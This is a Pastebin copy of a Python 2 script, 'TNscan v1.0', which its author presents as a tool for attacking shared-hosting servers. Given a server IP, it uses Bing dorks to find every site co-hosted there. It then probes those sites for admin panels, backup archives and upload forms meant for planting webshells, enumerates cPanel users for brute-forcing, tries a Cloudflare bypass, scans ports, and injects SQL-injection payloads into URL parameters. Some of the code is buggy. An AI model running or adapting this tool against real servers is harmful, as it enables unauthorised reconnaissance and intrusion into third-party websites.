SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/env python2 | |
| 2 | # >>> Bism Allah <<< | |
| 3 | # Code Name : TNscan v1.0 | |
| 4 | # Coder : MatriX Coder (17 yo guy from Tunisia) | |
| 5 | # Blog : www.matrixcoder.co.vu | |
| 6 | # Twitter : MatriX_Coder | |
| 7 | # Pastebin : www.pastebin.com/u/matrixcoder | |
| 8 | # this a developed version of al-swisre code (well i think it's even better) anyway greats to that man | |
| 9 | # Greats to : all Muslim (ethical and unethical) Hackers who are fighting for an issue | |
| 10 | # greats also to tunisia fallega team and to madleets team and to you ! | |
| 11 | # Wroten with <3 in my arch machine using geany, a cup of tea and while listening to jazz | |
| 12 | ||
| 13 | import re, urllib2, urllib, os, socket, sys | |
| 14 | from platform import system | |
| 15 | logo = """ | |
| 16 | \t _____ _ _ | |
| 17 | \t|_ _| \ | | | |
| 18 | \t | | | \| |___ ___ __ _ _ __ | |
| 19 | \t | | | . ` / __|/ __/ _` | '_ \ | |
| 20 | \t | | | |\ \__ \ (_| (_| | | | | | |
| 21 | \t \_/ \_| \_/___/\___\__,_|_| |_| v1.0 | |
| 22 | ||
| 23 | """ | |
| 24 | ||
| 25 | menu = """ | |
| 26 | 1) Get all websites | |
| 27 | 2) Get joomla websites | |
| 28 | 3) Get wordpress websites | |
| 29 | 4) Find control panel | |
| 30 | 5) Find zip files | |
| 31 | 6) Find upload files | |
| 32 | 7) Get server users | |
| 33 | 8) Scan from SQL injection | |
| 34 | 9) Crawl and scan from SQL injection (soon) | |
| 35 | 10) Scan ports (range of ports) | |
| 36 | 11) Scan ports (common ports ) | |
| 37 | 12) Get server banner | |
| 38 | 13) Bypass Cloudflare | |
| 39 | 14) About ! | |
| 40 | 99) Exit | |
| 41 | """ | |
| 42 | def unique(seq): | |
| 43 | """ | |
| 44 | get unique from list found it on stackoverflow | |
| 45 | """ | |
| 46 | seen = set() | |
| 47 | return [seen.add(x) or x for x in seq if x not in seen] | |
| 48 | ||
| 49 | def clearScr() : | |
| 50 | """ | |
| 51 | clear the screen in case of GNU/Linux or | |
| 52 | windows | |
| 53 | """ | |
| 54 | if system() == 'Linux': | |
| 55 | os.system('clear')
| |
| 56 | if system() == 'Windows': | |
| 57 | os.system('cls')
| |
| 58 | ||
| 59 | class TNscan : | |
| 60 | def __init__(self, serverip) : | |
| 61 | self.serverip = serverip | |
| 62 | self.getSites(False) | |
| 63 | print menu | |
| 64 | while True : | |
| 65 | choice = raw_input(' Enter choice -> ')
| |
| 66 | if choice == '1' : | |
| 67 | self.getSites(True) | |
| 68 | elif choice == '2' : | |
| 69 | self.getJoomla() | |
| 70 | elif choice == '3' : | |
| 71 | self.getWordpress() | |
| 72 | elif choice == '4' : | |
| 73 | self.findPanels() | |
| 74 | elif choice == '5' : | |
| 75 | self.findZip() | |
| 76 | elif choice == '6' : | |
| 77 | self.findUp() | |
| 78 | elif choice == '7' : | |
| 79 | self.getUsers() | |
| 80 | elif choice == '8' : | |
| 81 | self.grabSqli() | |
| 82 | elif choice == '10' : | |
| 83 | ran = raw_input(' Enter range of ports, (ex : 1-1000) -> ')
| |
| 84 | self.portScanner(1, ran) | |
| 85 | elif choice == '11' : | |
| 86 | self.portScanner(2, None) | |
| 87 | elif choice == '12' : | |
| 88 | self.getServerBanner() | |
| 89 | elif choice == '13' : | |
| 90 | self.cloudflareBypasser() | |
| 91 | elif choice == '14' : | |
| 92 | self.aboutME() | |
| 93 | elif choice == '99' : | |
| 94 | print ' Goodbye' | |
| 95 | exit() | |
| 96 | con = raw_input(' Continue [Y/n] -> ')
| |
| 97 | if con[0].upper() == 'N' : | |
| 98 | exit() | |
| 99 | else : | |
| 100 | clearScr() | |
| 101 | print logo | |
| 102 | print menu | |
| 103 | ||
| 104 | def aboutME(self) : | |
| 105 | clearScr() | |
| 106 | print """ | |
| 107 | >>> Bism Allah <<< | |
| 108 | Code Name : TNscan v1.0 | |
| 109 | Coder : MatriX Coder (17 yo guy from Tunisia) | |
| 110 | Blog : www.matrixcoder.co.vu | |
| 111 | Twitter : MatriX_Coder | |
| 112 | Pastebin : www.pastebin.com/u/matrixcoder | |
| 113 | this a developed version of al-swisre code (well i think it's even better) anyway greats to that man | |
| 114 | Greats to : all Muslim (ethical and unethical) Hackers who are fighting for an issue | |
| 115 | greats also to tunisian fallega team, to madleets team and to you ! | |
| 116 | Wroten with <3 in my arch machine using geany, a cup of tea and while listening to jazz | |
| 117 | """ | |
| 118 | ||
| 119 | def getSites(self, a) : | |
| 120 | """ | |
| 121 | get all websites on same server | |
| 122 | from bing search | |
| 123 | """ | |
| 124 | lista = [] | |
| 125 | page = 1 | |
| 126 | while page <= 101: | |
| 127 | try: | |
| 128 | bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+&count=50&first=" + str(page) | |
| 129 | openbing = urllib2.urlopen(bing) | |
| 130 | readbing = openbing.read() | |
| 131 | findwebs = re.findall('<h2><a href="(.*?)"', readbing)
| |
| 132 | for i in range(len(findwebs)): | |
| 133 | allnoclean = findwebs[i] | |
| 134 | findall1 = re.findall('http://(.*?)/', allnoclean)
| |
| 135 | for idx, item in enumerate(findall1): | |
| 136 | if 'www' not in item: | |
| 137 | findall1[idx] = 'http://www.' + item + '/' | |
| 138 | else: | |
| 139 | findall1[idx] = 'http://' + item + '/' | |
| 140 | lista.extend(findall1) | |
| 141 | ||
| 142 | page += 50 | |
| 143 | except urllib2.URLError: | |
| 144 | pass | |
| 145 | self.sites = unique(lista) | |
| 146 | if a : | |
| 147 | clearScr() | |
| 148 | print '[*] Found ', len(lista), ' Website\n' | |
| 149 | for site in self.sites : | |
| 150 | print site | |
| 151 | ||
| 152 | def getWordpress(self) : | |
| 153 | """ | |
| 154 | get wordpress site using a dork the attacker | |
| 155 | may do a password list attack (i did a tool for that purpose check my pastebin) | |
| 156 | or scan for common vulnerabilities using wpscan for example (i did a simple tool | |
| 157 | for multi scanning using wpscan) | |
| 158 | """ | |
| 159 | lista = [] | |
| 160 | page = 1 | |
| 161 | while page <= 101: | |
| 162 | try: | |
| 163 | bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+?page_id=&count=50&first=" + str(page) | |
| 164 | openbing = urllib2.urlopen(bing) | |
| 165 | readbing = openbing.read() | |
| 166 | findwebs = re.findall('<h2><a href="(.*?)"', readbing)
| |
| 167 | for i in range(len(findwebs)): | |
| 168 | wpnoclean = findwebs[i] | |
| 169 | findwp = re.findall('(.*?)\?page_id=', wpnoclean)
| |
| 170 | lista.extend(findwp) | |
| 171 | page += 50 | |
| 172 | except: | |
| 173 | pass | |
| 174 | lista = unique(lista) | |
| 175 | clearScr() | |
| 176 | print '[*] Found ', len(lista), ' Wordpress Website\n' | |
| 177 | for site in lista : | |
| 178 | print site | |
| 179 | ||
| 180 | def getJoomla(self) : | |
| 181 | """ | |
| 182 | get all joomla websites using | |
| 183 | bing search the attacker may bruteforce | |
| 184 | or scan them | |
| 185 | """ | |
| 186 | lista = [] | |
| 187 | page = 1 | |
| 188 | while page <= 101: | |
| 189 | bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+index.php?option=com&count=50&first=" + str(page) | |
| 190 | openbing = urllib2.urlopen(bing) | |
| 191 | readbing = openbing.read() | |
| 192 | findwebs = re.findall('<h2><a href="(.*?)"', readbing)
| |
| 193 | for i in range(len(findwebs)): | |
| 194 | jmnoclean = findwebs[i] | |
| 195 | findjm = re.findall('(.*?)index.php', jmnoclean)
| |
| 196 | lista.extend(findjm) | |
| 197 | page += 50 | |
| 198 | lista = unique(lista) | |
| 199 | clearScr() | |
| 200 | print '[*] Found ', len(lista), ' Joomla Website\n' | |
| 201 | for site in lista : | |
| 202 | print site | |
| 203 | ||
| 204 | ||
| 205 | def findPanels(self) : | |
| 206 | """ | |
| 207 | find panels from grabbed websites | |
| 208 | the attacker may do a lot of vulnerabilty | |
| 209 | tests on the admin area | |
| 210 | """ | |
| 211 | adminList = ['admin/', 'site/admin', 'admin.php/', 'up/admin/', 'central/admin/', 'whm/admin/', 'whmcs/admin/', 'support/admin/', 'upload/admin/', 'video/admin/', 'shop/admin/', 'shoping/admin/', 'wp-admin/', 'wp/wp-admin/', 'blog/wp-admin/', 'admincp/', 'admincp.php/', 'vb/admincp/', 'forum/admincp/', 'up/admincp/', 'administrator/', 'administrator.php/', 'joomla/administrator/', 'jm/administrator/', 'site/administrator/', 'install/', 'vb/install/', 'dimcp/', 'clientes/', 'admin_cp/', 'login/', 'login.php', 'site/login', 'site/login.php', 'up/login/', 'up/login.php', 'cp.php', 'up/cp', 'cp', 'master', 'adm', 'member', 'control', 'webmaster', 'myadmin', 'admin_cp', 'admin_site'] | |
| 212 | clearScr() | |
| 213 | for site in self.sites : | |
| 214 | for admin in adminList : | |
| 215 | if urllib.urlopen(site + admin).getcode() == 200 : | |
| 216 | print " [*] Found admin panel -> ", site + admin | |
| 217 | ||
| 218 | def findZip(self) : | |
| 219 | """ | |
| 220 | find zip files from grabbed websites | |
| 221 | it may contain useful informations | |
| 222 | """ | |
| 223 | zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar'] | |
| 224 | clearScr() | |
| 225 | for site in self.sites : | |
| 226 | for zip1 in zipList : | |
| 227 | if urllib.urlopen(site + zip1).getcode() == 200 : | |
| 228 | print " [*] Found zip file -> ", site + zip1 | |
| 229 | ||
| 230 | def findUp(self) : | |
| 231 | """ | |
| 232 | find upload forms from grabbed | |
| 233 | websites the attacker may succeed to | |
| 234 | upload malicious files like webshells | |
| 235 | """ | |
| 236 | upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php','blog/up.php', 'upload.php', 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php'] | |
| 237 | clearScr() | |
| 238 | for site in self.sites : | |
| 239 | for up in upList : | |
| 240 | if (urllib.urlopen(site + up).getcode() == 200) : | |
| 241 | html = urllib.urlopen(site + up).readlines() | |
| 242 | for line in html : | |
| 243 | if re.findall('type=file', line) :
| |
| 244 | print " [*] Found upload -> ", site+up | |
| 245 | ||
| 246 | def getUsers(self) : | |
| 247 | """ | |
| 248 | get server users using a method found by | |
| 249 | iranian hackers i think, the attacker may | |
| 250 | do a bruteforce attack on CPanel, ssh, ftp or | |
| 251 | even mysql if it supports remote login | |
| 252 | (you can use medusa or hydra) | |
| 253 | """ | |
| 254 | userslist = [] | |
| 255 | for site in self.sites : | |
| 256 | try: | |
| 257 | site = site.replace('http://www.', '')
| |
| 258 | site = site.replace('http://', '')
| |
| 259 | site = site.replace('.', '')
| |
| 260 | if '-' in site: | |
| 261 | site = site.replace('-', '')
| |
| 262 | site = site.replace('/', '')
| |
| 263 | ||
| 264 | while len(site) > 2: | |
| 265 | resp = urllib2.urlopen(site + '/cgi-sys/guestbook.cgi?user=%s' % site).read() | |
| 266 | if 'invalid username' not in resp.lower(): | |
| 267 | print '\t [*] Found -> ', site | |
| 268 | userslist.append(site) | |
| 269 | else : | |
| 270 | print site | |
| 271 | ||
| 272 | site = site[:-1] | |
| 273 | ||
| 274 | clearScr() | |
| 275 | for user in userlist : | |
| 276 | print user | |
| 277 | ||
| 278 | except: | |
| 279 | pass | |
| 280 | ||
| 281 | def cloudflareBypasser(self) : | |
| 282 | """ | |
| 283 | trys to bypass cloudflare i already wrote | |
| 284 | in my blog how it works, i learned this | |
| 285 | method from a guy in madleets | |
| 286 | """ | |
| 287 | clearScr() | |
| 288 | subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel'] | |
| 289 | for site in self.sites : | |
| 290 | site.replace('http://', '')
| |
| 291 | site.replace('/', '')
| |
| 292 | try: | |
| 293 | ip = socket.gethostbyname(site) | |
| 294 | except socket.error: | |
| 295 | pass | |
| 296 | for sub in subdoms: | |
| 297 | doo = sub + '.' + site | |
| 298 | print ' [~] Trying -> ', doo | |
| 299 | try: | |
| 300 | ddd = socket.gethostbyname(doo) | |
| 301 | if ddd != ip: | |
| 302 | print ' [*] Cloudflare bypassed -> ', ddd | |
| 303 | break | |
| 304 | except socket.error : | |
| 305 | pass | |
| 306 | ||
| 307 | def getServerBanner(self) : | |
| 308 | """ | |
| 309 | simply gets the server banner | |
| 310 | the attacker may benefit from it | |
| 311 | like getting the server side software | |
| 312 | """ | |
| 313 | clearScr() | |
| 314 | try: | |
| 315 | s = 'http://' + self.serverip | |
| 316 | httpresponse = urllib.urlopen(s) | |
| 317 | print ' [*] Server header -> ', httpresponse.headers.getheader('server')
| |
| 318 | except: | |
| 319 | pass | |
| 320 | ||
| 321 | def grabSqli(self) : | |
| 322 | """ | |
| 323 | just grabs all websites in server with php?id= dork | |
| 324 | for scanning for error based sql injection | |
| 325 | """ | |
| 326 | page = 1 | |
| 327 | lista = [] | |
| 328 | while page <= 101: | |
| 329 | try: | |
| 330 | bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+php?id=&count=50&first=" + str(page) | |
| 331 | openbing = urllib2.urlopen(bing) | |
| 332 | readbing = openbing.read() | |
| 333 | findwebs = re.findall('<h2><a href="(.*?)"', readbing)
| |
| 334 | for i in range(len(findwebs)): | |
| 335 | x = findwebs[i] | |
| 336 | lista.append(x) | |
| 337 | except: | |
| 338 | pass | |
| 339 | page += 50 | |
| 340 | lista = unique(lista) | |
| 341 | self.checkSqli(lista) | |
| 342 | ||
| 343 | def checkSqli(self, s): | |
| 344 | """ | |
| 345 | checks for error based sql injection, | |
| 346 | most of the codes here are from webpwn3r | |
| 347 | project the one who has found an lfi in | |
| 348 | yahoo as i remember, you can find a separate | |
| 349 | tool in my blog | |
| 350 | """ | |
| 351 | clearScr() | |
| 352 | payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"] | |
| 353 | check = re.compile("Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
| |
| 354 | for url in s: | |
| 355 | try: | |
| 356 | for param in url.split('?')[1].split('&'):
| |
| 357 | for payload in payloads: | |
| 358 | power = url.replace(param, param + payload.strip()) | |
| 359 | #print power | |
| 360 | html = urllib2.urlopen(power).readlines() | |
| 361 | for line in html: | |
| 362 | checker = re.findall(check, line) | |
| 363 | if len(checker) != 0 : | |
| 364 | print ' [*] SQLi found -> ', power | |
| 365 | except: | |
| 366 | pass | |
| 367 | ||
| 368 | def crawlSqli(self) : | |
| 369 | """ | |
| 370 | simple crawling using chilkat (yeah chilkat sucks) | |
| 371 | and scan for error based sql injection | |
| 372 | [!] will be on the next version | |
| 373 | """ | |
| 374 | pass | |
| 375 | ||
| 376 | def portScanner(self, mode, ran) : | |
| 377 | """ | |
| 378 | simple port scanner works with range of ports | |
| 379 | or with common ports (al-swisre idea) | |
| 380 | """ | |
| 381 | clearScr() | |
| 382 | def do_it(ip, port): | |
| 383 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 384 | #sock.settimeout(5) | |
| 385 | sock = sock.connect_ex((ip,port)) | |
| 386 | if sock == 0: | |
| 387 | print " [*] Port %i is open" % port | |
| 388 | ||
| 389 | if mode == 1 : | |
| 390 | a = ran.split('-')
| |
| 391 | start = int(a[0]) | |
| 392 | end = int(a[1]) | |
| 393 | for i in range(start, end): | |
| 394 | do_it(self.serverip, i) | |
| 395 | elif mode == 2 : | |
| 396 | for port in [80,21,22,2082,25,53,110,443,143] : | |
| 397 | # didn't use multithreading cos it's few ports | |
| 398 | do_it(self.serverip, port) | |
| 399 | ||
| 400 | if __name__ == '__main__' : | |
| 401 | try : | |
| 402 | clearScr() | |
| 403 | print logo | |
| 404 | TNscan(sys.argv[1]) | |
| 405 | except IndexError : | |
| 406 | print " [*] Usage : python "+sys.argv[0]+" 127.0.0.1" |